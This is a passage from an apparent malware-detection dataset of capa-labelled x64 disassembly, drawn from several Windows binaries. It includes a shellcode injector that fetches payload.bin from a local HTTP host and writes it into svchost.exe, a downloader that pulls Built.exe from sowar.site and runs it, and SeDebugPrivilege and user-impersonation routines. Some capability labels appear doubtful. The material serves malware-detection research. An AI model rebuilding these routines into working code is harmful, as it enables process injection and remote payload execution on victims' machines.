joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001500
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r12
push r15
mov eax, 0x2290
call fcn.140002af0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x2260], rax
xor ebp, ebp
lea rcx, [rsp + 0x50]
mov r12, r8
mov dword [rsp + 0x40], ebp
mov r15, rdx
mov dword [rsp + 0x44], ebp
lea r8, [rsp + 0x40]
mov qword [rsp + 0x38], rbp
mov edx, 0x2000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140001718
mov qword [rsp + 0x2280], rdi
mov edi, ebp
mov qword [rsp + 0x2270], r14
mov r14d, dword [rsp + 0x40]
shr r14d, 2
test r14d, r14d
je 0x1400016dd
mov qword [rsp + 0x2288], rsi
lea rsi, [rsp + 0x50]
mov qword [rsp + 0x2278], r13
lea r13, str.svchost.exe
mov qword [rsp + 0x22b0], rbx
nop
mov r8d, dword [rsi]
test r8d, r8d
je 0x140001707
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001707
lea r9, [rsp + 0x44]
mov r8d, 8
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x1400016fe
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x2050]
mov r9d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x1400016fe
lea rdx, [rsp + 0x2050]
mov rax, rbp
nop word [rax + rax]
movzx ecx, word [r13 + rax*2]
cmp cx, word [rdx + rax*2]
jne 0x1400016fe
movzx ecx, word [r13 + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x1400016fe
add rax, 2
cmp rax, 0xc
jne 0x140001620
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
mov edx, 0xf01ff
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001693
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x48]
mov r9d, 4
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400016a3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x2050]
lea rcx, [0x140003634]
call fcn.140001070
movsxd rcx, edi
mov edx, dword [rsp + rcx*4 + 0x50]
mov dword [r15], edx
mov qword [r12], rbx
mov rbx, qword [rsp + 0x22b0]
mov rsi, qword [rsp + 0x2288]
mov r13, qword [rsp + 0x2278]
mov r14, qword [rsp + 0x2270]
mov rdi, qword [rsp + 0x2280]
cmp dword [r15], ebp
je 0x140001718
cmp qword [r12], rbp
setne bpl
mov eax, ebp
jmp 0x14000171a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, r14d
jb 0x1400015a0
jmp 0x1400016c5
xor eax, eax
mov rcx, qword [rsp + 0x2260]
xor rcx, rsp
call fcn.140001df0
add rsp, 0x2290
pop r15
pop r12
pop rbp
ret
Function at 0x140001920
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
mov r13, r8
mov r12, rdx
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x140001975
mov eax, esi
jmp 0x140001acb
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.122.1:9090_payload.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1400019ca
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x140001ac3
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001a8b
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001a8b
nop word [rax + rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x140001a27
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001a39
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001a8b
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x30], 0x400
jb 0x140001ae7
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001a10
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x140001ac0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001df0
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x140001a8e
Function at 0x140001b00
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor ebp, ebp
nop dword [rax + rax]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x38], rbp
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x30], rbp
call fcn.140001920
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
call fcn.140001500
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x44]
call fcn.140001190
mov rsi, qword [rsp + 0x30]
mov r9d, 0x3000
mov rdi, qword [rsp + 0x50]
mov r8, rsi
mov rcx, rdi
mov dword [rsp + 0x20], 4
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, qword [rsp + 0x38]
mov r9, rsi
mov rbx, rax
mov qword [rsp + 0x68], rbp
lea rax, [rsp + 0x68]
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x60], ebp
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, rbx
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140001740
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001b30
Function at 0x140001c20
Capabilities:
Acquire debug privileges
Get token privileges

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edi, edi
mov ebx, 1
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
lea edx, [rbx + 7]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d44
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
lea r9d, [rbx + 3]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
mov dword [rsp + 0x38], edi
lea edx, [rbx + 0x11]
mov dword [rsp + 0x30], ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001c9b
cmp dword [rsp + 0x38], 4
cmove ebx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 2
jne 0x140001d44
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x26]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d19
lea r8, [rsp + 0x44]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001d13
mov qword [rsp + 0x28], rdi
lea r9d, [rbx + 0xe]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
xor edx, edx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], ebx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xa
lea r9, str.PetarMoment
mov r8d, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
test rax, rax
je 0x140001d7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001d7a
jmp 0x140001d60
mov r9d, 1
lea r8, str.Peter_Error_______
lea rdx, str.Please_run_this_application_as_administrator_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001df0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
call fcn.140001b00
int3

Function at 0x1400026c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000270e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000270e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_SetThreadContext
jne 0x14000270e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000270e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000270e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002710
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
sub rsp, 0x258
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rsp + 0x30]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r8, str.Loader.exe
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
xor ecx, ecx
lea rdx, str.https:__sowar.site_Built.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.start__userProfile_Loader.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400010b0
add rsp, 0x258
ret

Function at 0x140001978
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019c4
xor al, al
add rsp, 0x28
ret
Function at 0x14001137a
Capabilities:
Terminate process

Disassembly:
jmp 0x140018e00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001144c
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015610
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14002b21d]
call fcn.14001163b
xor edx, edx
mov ecx, 2
call fcn.1400112e4
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001569a
lea rdx, str.Error:_Unable_to_create_process_snapshot.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110b4
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x140015723
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400113d9
test eax, eax
jne 0x1400156e3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Error:_Unable_to_get_the_first_process.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110b4
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x140015723
mov rdx, qword [rbp + 0x420]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140015706
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140015723
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001158c
test eax, eax
jne 0x1400156e3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140021150]
call fcn.140011541
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400112fd
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret
Function at 0x14001146a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019bc0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019be0
xor al, al
jmp 0x140019c61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019bf3
xor al, al
jmp 0x140019c61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140019c1d
xor al, al
jmp 0x140019c61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019c31
xor al, al
jmp 0x140019c61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019c43
xor al, al
jmp 0x140019c61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140019c5f
xor al, al
jmp 0x140019c61
mov al, 1
add rsp, 0x38
ret
Function at 0x413c04
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rsi
sub rsp, 0x10
xorps xmm0, xmm0
movaps xmmword [rsp], xmm0
mov eax, dword [rdx + 0x10]
mov r9d, dword [rdx]
add r9d, eax
xor r10d, r10d
test r10, r10
je 0x413c2a
mov r11d, dword [rdx + r10]
mov rsi, r10
jmp 0x413c2f
mov r11d, r9d
xor esi, esi
mov dword [rsp + rsi], r11d
add r10, 4
cmp r10, 0x10
jne 0x413c1c
movdqa xmm0, xmmword [rsp]
pxor xmm0, xmmword [rcx]
aesenc xmm0, xmmword [rcx + 0x10]
aesenc xmm0, xmmword [rcx + 0x20]
aesenc xmm0, xmmword [rcx + 0x30]
aesenc xmm0, xmmword [rcx + 0x40]
aesenc xmm0, xmmword [rcx + 0x50]
aesenc xmm0, xmmword [rcx + 0x60]
aesenc xmm0, xmmword [rcx + 0x70]
aesenc xmm0, xmmword [rcx + 0x80]
aesenc xmm0, xmmword [rcx + 0x90]
aesenc xmm0, xmmword [rcx + 0xa0]
aesenc xmm0, xmmword [rcx + 0xb0]
inc eax
aesenc xmm0, xmmword [rcx + 0xc0]
mov dword [rdx + 0x10], eax
aesenc xmm0, xmmword [rcx + 0xd0]
aesenclast xmm0, xmmword [rcx + 0xe0]
movdqu xmmword [r8], xmm0
add rsp, 0x10
pop rsi
ret
Function at 0x414895
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x4148cb
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x4148d3
mov esi, dword [rdx]
mov r9d, 4
jmp 0x4148d8
xor r10d, r10d
jmp 0x414986
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x4148fb
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x414912
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x414932
add r11, r8
jmp 0x414a56
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x4149fa
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x4149a8
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x414a0c
mov r9d, dword [rdx + r10]
mov r8d, 4
jmp 0x414a12
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x414a38
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x414a52
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x41daee
Capabilities:
Impersonate user

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
mov r8, qword [rcx + 0x10]
test r8, r8
je 0x41dc99
mov rdi, rcx
mov r14, qword [rcx + 0x28]
test r14, r14
je 0x41dc99
mov rbx, qword [rdi + 0x40]
test rbx, rbx
je 0x41dc99
mov rdx, qword [rdi]
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.0042a5d0
mov rdx, qword [rdi + 0x18]
lea r15, [rsp + 0x50]
mov rcx, r15
mov r8, r14
call fcn.0042a5d0
mov rdx, qword [rdi + 0x30]
lea rdi, [rsp + 0x68]
mov rcx, rdi
mov r8, rbx
call fcn.0042a5d0
lea r12, [rsp + 0x30]
mov qword [r12], 0
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.0042790d
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea r14, [rsp + 0x98]
mov rcx, r14
call fcn.0042790d
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea r15, [rsp + 0xb0]
mov rcx, r15
call fcn.0042790d
mov rsi, qword [rbx]
mov rdi, qword [r14]
mov rbx, qword [r15]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
mov r9d, 3
call sub.ADVAPI32.dll_LogonUserW
test eax, eax
je 0x41dbf4
mov rcx, qword [rsp + 0x30]
call sub.ADVAPI32.dll_ImpersonateLoggedOnUser
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_CloseHandle
cmp qword [rsp + 0xb8], 0
je 0x41dc10
mov rcx, qword [0x004a30e8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0xa0], 0
je 0x41dc2c
mov rcx, qword [0x004a30e8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x88], 0
je 0x41dc48
mov rcx, qword [0x004a30e8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x70], 0
je 0x41dc63
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x004a30e8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x58], 0
je 0x41dc7e
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x004a30e8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x40], 0
je 0x41dc99
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x004a30e8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
nop
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x427846
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rcx + 0x10]
cmp rdx, qword [rcx + 8]
jne 0x42786d
mov rcx, rsi
call fcn.00436713
mov rdx, qword [rsi + 0x10]
mov rbx, qword [rsi]
mov byte [rbx + rdx], 0
inc rdx
mov qword [rsi + 0x10], rdx
mov r15, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
cmp rdx, r15
jne 0x427898
mov rcx, rdi
call fcn.00436713
mov r15, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov r14, qword [rdi]
mov byte [r14 + rdx], 0
inc rdx
mov qword [rdi + 0x10], rdx
mov dword [rsp + 0x28], 6
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
mov r9, r14
call sub.SHELL32.dll_ShellExecuteA
test r15, r15
je 0x4278dd
mov rcx, qword [0x004a30e8]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
cmp qword [rsi + 8], 0
je 0x427900
mov r8, qword [rsi]
mov rcx, qword [0x004a30e8]
xor edx, edx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp sub.KERNEL32.dll_HeapFree
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x42f100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x42f190
cmp r11, r10
ja 0x42f206
cmp r10, rdx
ja 0x42f21a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x42f192
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x42f170
jmp 0x42f1f4
ja 0x42f19a
mov r11, r10
cmp rax, r8
jne 0x42f134
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x42f1d0
mov rdi, r8
sub ecx, edx
jns 0x42f1eb
jmp 0x42f1f6
cmp r8, rsi
je 0x42f22b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x42f1f6
xor al, 1
cmp rdi, rsi
jne 0x42f1b0
jmp 0x42f1f6
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.0042cc20
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.0042bf80
ud2
lea rcx, [0x004957f8]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.0042c320
ud2

Function at 0x430e20
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rbx, r8
mov rsi, rcx
lea rdi, [rcx + 0xd0]
movzx r14d, byte [rcx + 0x118]
mov r8d, 0x48
sub r8, r14
mov r15, rbx
sub r15, r8
jae 0x430e6b
add rdi, r14
mov rcx, rdi
mov r8, rbx
call sub.ntdll.dll_memcpy
add r14, rbx
jmp 0x430f31
test r14, r14
je 0x430eab
lea rbx, [rdx + r8]
add r14, rdi
mov rcx, r14
call sub.ntdll.dll_memcpy
xor eax, eax
mov rcx, qword [rsi + rax*8 + 0xd0]
xor qword [rsi + rax*8], rcx
lea rcx, [rax + 1]
mov rax, rcx
cmp rcx, 9
jne 0x430e81
mov rdx, qword [rsi + 0xc8]
mov rcx, rsi
call fcn.00433c88
jmp 0x430eb1
mov r15, rbx
mov rbx, rdx
movabs rcx, 0xe38e38e38e38e38f
mov rax, r15
mul rcx
shr rdx, 6
lea rax, [rdx*8]
lea r12, [rax + rax*8]
mov r14, r15
sub r14, r12
cmp r15, 0x48
jb 0x430f1a
lea rax, [rdx + rdx*8]
lea r15, [rbx + rax*8]
mov rax, rbx
lea r13, [rax + 0x48]
xor ecx, ecx
mov rdx, qword [rax + rcx*8]
xor qword [rsi + rcx*8], rdx
lea rdx, [rcx + 1]
mov rcx, rdx
cmp rdx, 9
jne 0x430eee
mov rdx, qword [rsi + 0xc8]
mov rcx, rsi
